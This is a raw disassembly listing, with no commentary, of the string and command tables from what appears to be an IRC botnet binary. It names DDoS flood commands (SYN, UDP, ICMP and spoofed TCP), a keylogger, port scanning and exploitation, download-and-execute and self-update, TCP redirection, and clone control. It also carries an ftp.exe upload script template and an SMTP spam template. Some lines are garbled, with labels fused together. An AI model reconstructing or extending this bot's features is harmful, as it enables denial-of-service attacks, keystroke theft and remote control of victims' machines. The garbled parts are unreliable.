dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0
dword_429788 dd 54524150h, 0D732520h, 0Ah ; seg000:0040FE0Do
dword_429794 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040F55Ao
dd 2029206Ch, 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040F54Co
align 10h
dword_4297D0 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: seg000:0040F523o
dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h
dd 7325203Ah, 0
dword_429800 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: seg000:0040F4B8o
dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h
dd 25203A29h, 73h
dword_429830 dd 45444F4Dh, 732520hdword_429838 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: seg000:0040F42Eo
dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h
dd 25203A29h, 73h
dword_429868 dd 4B43494Eh, 732520h ; seg000:0040FC54o
dword_429870 dd 4E494F4Ah, 20732520h, 7325hdword_42987C dd 0A0D7325h, 0 ; seg000:0040F40Do ...
dword_429884 dd 54524150h, 732520hdword_42988C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:loc_40F33Co
dd 2029206Ch, 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 4
dword_4298D4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040F305o
dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah
dd 0
aRepeat db 'repeat',0 ; DATA XREF: seg000:0040F2B4o
align 4
dword_429908 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:loc_40F26Co
dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0
dword_429930 dd 25207325h, 73252073h, 73253A20h, 0 ; seg000:0040F2DFo ...
unk_429940 db 2 ; DATA XREF: seg000:loc_40F1DBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
unk_429998 db 2 ; DATA XREF: seg000:0040F1D1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 4
unk_4299E8 db 2 ; DATA XREF: seg000:0040F162o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: seg000:0040F0BCo
align 4
unk_429A34 db 2 ; DATA XREF: seg000:0040F05Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 65h ; e
db 78h, 65h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
db 2 dup(20h), 43h
db 6Fh ; o
db 2 dup(6Dh), 61h
db 6Eh ; n
db 64h, 73h, 3Ah
db 20h
db 25h, 73h, 0
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 65h ; e
db 78h, 65h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 4
unk_429A98 db 2 ; DATA XREF: seg000:0040EFBCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0
align 4
unk_429AE8 db 2 ; DATA XREF: seg000:0040EF42o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingFor_0 db ' Searching for file: %s in: %s.',0
align 4
dword_429B2C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: seg000:loc_40EEA4o
dd 29206C1Fh, 0BBBB0220h, 2002h
unk_429B4C db 2 ; DATA XREF: seg000:0040EE8Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_429B84 db 2 ; DATA XREF: seg000:loc_40EE6Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 10h
unk_429BD0 db 2 ; DATA XREF: seg000:0040EE63o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_429C1C db 2 ; DATA XREF: seg000:0040EDE9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 4
unk_429C5C db 2 ; DATA XREF: seg000:0040ED72o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToSta_14 db ' Failed to start clone thread, error: <%d>.',0
unk_429CA8 db 2 ; DATA XREF: seg000:0040ED03o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 4
unk_429CEC db 2 ; DATA XREF: seg000:0040EC7Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_15 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_429D38 db 2 ; DATA XREF: seg000:0040EC03o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 4
dword_429D7C dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: seg000:0040EB6Eo
dd 2029206Ch, 2BBBB02h
aFailedToSta_16 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_429DC8 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: seg000:0040EAF4o
dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
unk_429E08 db 2 ; DATA XREF: seg000:0040EA84o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
align 4
unk_429E5C db 2 ; DATA XREF: seg000:0040EA15o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 4
unk_429E9C db 2 ; DATA XREF: seg000:0040E946o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_17 db ' Failed to start redirection thread, error: <%d>.',0
unk_429EF0 db 2 ; DATA XREF: seg000:0040E8D7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
align 10h
unk_429F40 db 2 ; DATA XREF: seg000:0040E84Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_18 db ' Failed to start scan thread, error: <%d>.',0
align 10h
unk_429F90 db 2 ; DATA XREF: seg000:0040E7DDo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: seg000:0040E759o
align 10h
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: seg000:0040E65Co
align 10h
dword_42A000 dd 54434101h, 204E4F49h, 17325h ; seg000:0040F60Co
dword_42A00C dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0040E56Fo
; seg000:00410105o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_19 db ' Failed to start scan thread, error: <%d>.',0
dword_42A058 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0040E500o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
align 10h
aSequential db 'Sequential',0 ; DATA XREF: seg000:0040E4D5o
; seg000:00410069o
align 4
aRandom_0 db 'Random',0 ; DATA XREF: seg000:0040E4CEo
; seg000:00410062o
align 4
dword_42A0E4 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0040E390o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20 db ' Failed to start scan, no IP specified.',0
align 10h
dword_42A130 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0040E247o
; seg000:0040FEADo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
align 4
dword_42A184 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: seg000:0040E216o
dd 2029206Ch, 2BBBB02h
aFailedToSta_21 db ' Failed to start flood thread, error: <%d>.',0
align 10h
dword_42A1D0 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: seg000:0040E1A7o
dd 2029206Ch, 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040E0E0o
align 4
unk_42A244 db 2 ; DATA XREF: seg000:0040E0CBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_22 db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A290 db 2 ; DATA XREF: seg000:0040E060o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
dword_42A2EC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:loc_40DFC3o
dd 2029206Ch, 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 4
dword_42A338 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:0040DFB9o
dd 2029206Ch, 2BBBB02h
aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_42A384 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:0040DF3Fo
dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: seg000:0040DF2Fo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: seg000:0040DF28o
dword_42A3DC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:0040DE93o
dd 2029206Ch, 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
dword_42A418 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:loc_40DDABo
dd 2029206Ch, 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_42A458 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:0040DDA4o
dd 2029206Ch, 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: seg000:0040DD8Do
aSS_4 db '-s:%s',0 ; DATA XREF: seg000:0040DD76o
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: seg000:0040DD56o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: seg000:0040DD21o
align 4
dword_42A4D4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:0040DCA3o
dd 2029206Ch, 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 4
aFtp_upload db 'ftp.upload',0 ; DATA XREF: seg000:0040DC80o
align 4
aUtil_hcon db 'util.hcon',0 ; DATA XREF: seg000:0040DC5Do
align 10h
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: seg000:0040DC46o
align 10h
unk_42A530 db 3 ; DATA XREF: seg000:0040DC05o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 65h, 6Eh
db 7Ah ; z
db 31h, 30h, 62h
db 20h
db 3, 32h, 2Eh
db 2Eh ; .
db 20h, 3, 31h
db 35h ; 5
db 28h, 65h, 6Dh
db 61h ; a
db 69h, 6Ch, 3
db 32h ; 2
db 2Eh, 3, 31h
db 35h ; 5
db 6Dh, 6Fh, 64h
db 29h ; )
db 20h, 3, 32h
db 0BBh ;
db 3, 31h, 35h
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: seg000:0040DB91o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
a_: ; DATA XREF: seg000:0040DAF5o
unicode 0, <_>,0
aUtil_email db 'util.email',0 ; DATA XREF: seg000:0040DAA6o
align 10h
aUsa db 'usa',0 ; DATA XREF: seg000:0040DA8Fo
aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: seg000:0040DA78o
align 4
aPg db 'pg',0 ; DATA XREF: seg000:0040DA61o
align 4
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: seg000:0040DA4Ao
align 4
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: seg000:0040DA33o
align 4
aPu db 'pu',0 ; DATA XREF: seg000:0040DA1Co
align 4
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: seg000:0040DA05o
align 4
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: seg000:0040D9EEo
align 4
aVv db 'vv',0 ; DATA XREF: seg000:0040D9D7o
align 4
aVuln_start db 'vuln.start',0 ; DATA XREF: seg000:0040D9C0o
align 4
aClone_ac db 'clone.ac',0 ; DATA XREF: seg000:0040D997o
align 10h
aClone_action db 'clone.action',0 ; DATA XREF: seg000:0040D980o
align 10h
aClone_pm db 'clone.pm',0 ; DATA XREF: seg000:0040D969o
align 4
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: seg000:0040D952o
align 4
aEnz_ps db 'enz.ps',0 ; DATA XREF: seg000:0040D93Bo
align 4
aEnz_portscan db 'enz.portscan',0 ; DATA XREF: seg000:0040D924o
align 4
aServer_rd_on db 'server.rd.on',0 ; DATA XREF: seg000:0040D90Do
align 4
aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: seg000:0040D8F6o
align 4
aD1 db 'd1',0 ; DATA XREF: seg000:0040D8DFo
align 4
aDownload_fromw db 'download.fromwww',0 ; DATA XREF: seg000:0040D8C8o
align 10h
aSy1 db 'sy1',0 ; DATA XREF: seg000:0040D8B1o
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: seg000:0040D89Ao
align 4
aDs_rm db 'ds.rm',0 ; DATA XREF: seg000:0040D883o
align 4
aDs_ack db 'ds.ack',0 ; DATA XREF: seg000:0040D86Co
align 4
aDs_sy1 db 'ds.sy1',0 ; DATA XREF: seg000:0040D855o
align 4
aClone_start db 'clone.start',0 ; DATA XREF: seg000:0040D83Eo
aClone_make db 'clone.make',0 ; DATA XREF: seg000:0040D827o
align 4
aDdos_ic db 'ddos.ic',0 ; DATA XREF: seg000:0040D7FEo
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: seg000:0040D7E7o
align 4
aBox_mv db 'box.mv',0 ; DATA XREF: seg000:0040D7D0o
align 10h
aBox_rename db 'box.rename',0 ; DATA XREF: seg000:0040D7B9o
align 4
aBox_ff db 'box.ff',0 ; DATA XREF: seg000:0040D7A2o
align 4
aBox_findfile db 'box.findfile',0 ; DATA XREF: seg000:0040D78Bo
align 4
aBox_e db 'box.e',0 ; DATA XREF: seg000:0040D774o
align 4
aBox_execute db 'box.execute',0 ; DATA XREF: seg000:0040D75Do
aDownload_upz db 'download.upz',0 ; DATA XREF: seg000:0040D746o
align 4
aDownload_updiz db 'download.updiz',0 ; DATA XREF: seg000:0040D72Fo
align 4
aEnz_de db 'enz.de',0 ; DATA XREF: seg000:0040D718o
align 10h
aEnz_delay db 'enz.delay',0 ; DATA XREF: seg000:0040D701o
align 4
aEnz_rp db 'enz.rp',0 ; DATA XREF: seg000:0040D6EAo
align 4
aEnz_repeat db 'enz.repeat',0 ; DATA XREF: seg000:0040D6D3o
align 10h
aClone_p db 'clone.p',0 ; DATA XREF: seg000:0040D6BCo
aClone_part db 'clone.part',0 ; DATA XREF: seg000:0040D6A5o
align 4
aClone_j db 'clone.j',0 ; DATA XREF: seg000:0040D68Eo
aClone_join db 'clone.join',0 ; DATA XREF: seg000:0040D677o
align 4
aClone_ni db 'clone.ni',0 ; DATA XREF: seg000:0040D660o
align 4
aClone_nick db 'clone.nick',0 ; DATA XREF: seg000:0040D649o
align 10h
aClone_m db 'clone.m',0 ; DATA XREF: seg000:0040D632o
aClone_mode db 'clone.mode',0 ; DATA XREF: seg000:0040D61Bo
align 4
aClone_ra db 'clone.ra',0 ; DATA XREF: seg000:0040D604o
align 10h
aClone_raw db 'clone.raw',0 ; DATA XREF: seg000:0040D5EDo
align 4
aEnz_m db 'enz.m',0 ; DATA XREF: seg000:0040D5D6o
align 4
aEnz_mode db 'enz.mode',0 ; DATA XREF: seg000:0040D5BFo
align 10h
aEnz_cy db 'enz.cy',0 ; DATA XREF: seg000:0040D5A8o
align 4
aEnz_cycle db 'enz.cycle',0 ; DATA XREF: seg000:0040D591o
align 4
aEnz_ac db 'enz.ac',0 ; DATA XREF: seg000:0040D57Ao
align 4
aEnz_action db 'enz.action',0 ; DATA XREF: seg000:0040D563o
align 4
aEnz_pm db 'enz.pm',0 ; DATA XREF: seg000:0040D54Co
align 10h
aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: seg000:0040D535o
aEnz_aa db 'enz.aa',0 ; DATA XREF: seg000:0040D51Eo
align 4
aEnz_addalias db 'enz.addalias',0 ; DATA XREF: seg000:0040D507o
align 4
aEnz_gh db 'enz.gh',0 ; DATA XREF: seg000:0040D4DEo
align 4
aEnz_gethost db 'enz.gethost',0 ; DATA XREF: seg000:0040D4C7o
dword_42A888 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40D479o
dd 2029206Ch, 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 4
dword_42A8B8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40D472o
dd 2029206Ch, 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_42A8EC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40D42Ao
dd 2029206Ch, 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_42A91C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0040D423o
dd 2029206Ch, 2BBBB02h
aUserListComple db ' User list completed.',0
align 10h
aUser db 'user',0 ; DATA XREF: seg000:0040D396o
align 4
dword_42A958 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40D38Bo
dd 2029206Ch, 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 4
dword_42A98C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0040D381o
dd 2029206Ch, 2BBBB02h
aShareListCompl db ' Share list completed.',0
aShare db 'share',0 ; DATA XREF: seg000:0040D319o
align 4
aDelete db 'delete',0 ; DATA XREF: seg000:0040D2FEo
align 10h
aContinue db 'continue',0 ; DATA XREF: seg000:0040D2E3o
align 4
aPause db 'pause',0 ; DATA XREF: seg000:0040D2CBo
align 4
aStop db 'stop',0 ; DATA XREF: seg000:0040D2B3o
align 4
dword_42A9EC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40D2A8o
dd 2029206Ch, 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 10h
dword_42AA20 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0040D29Eo
dd 2029206Ch, 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 4
aStart db 'start',0 ; DATA XREF: seg000:0040D24Do
align 10h
dword_42AA60 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0040D21Ao
dd 2029206Ch, 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 4
aBox_net db 'box.net',0 ; DATA XREF: seg000:0040D1F6o
unk_42AAB4 db 2 ; DATA XREF: seg000:0040D1B5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToSta_24 db ' Failed to start logging thread, error: <%d>.',0
align 4
unk_42AB04 db 2 ; DATA XREF: seg000:0040D14Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aKeyLoggerActiv db ' Key logger active.',0
unk_42AB38 db 2 ; DATA XREF: seg000:0040D0CCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aAlreadyRunni_1 db ' Already running.',0
align 4
unk_42AB6C db 2 ; DATA XREF: seg000:loc_40D0A8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aNoKeyLoggerThr db ' No key logger thread found.',0
align 4
unk_42ABAC db 2 ; DATA XREF: seg000:0040D09Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0
align 4
aFile db 'file',0 ; DATA XREF: seg000:0040D06Ao
; seg000:0040D0E0o
align 4
aBox_kog db 'box.kog',0 ; DATA XREF: seg000:0040D044o
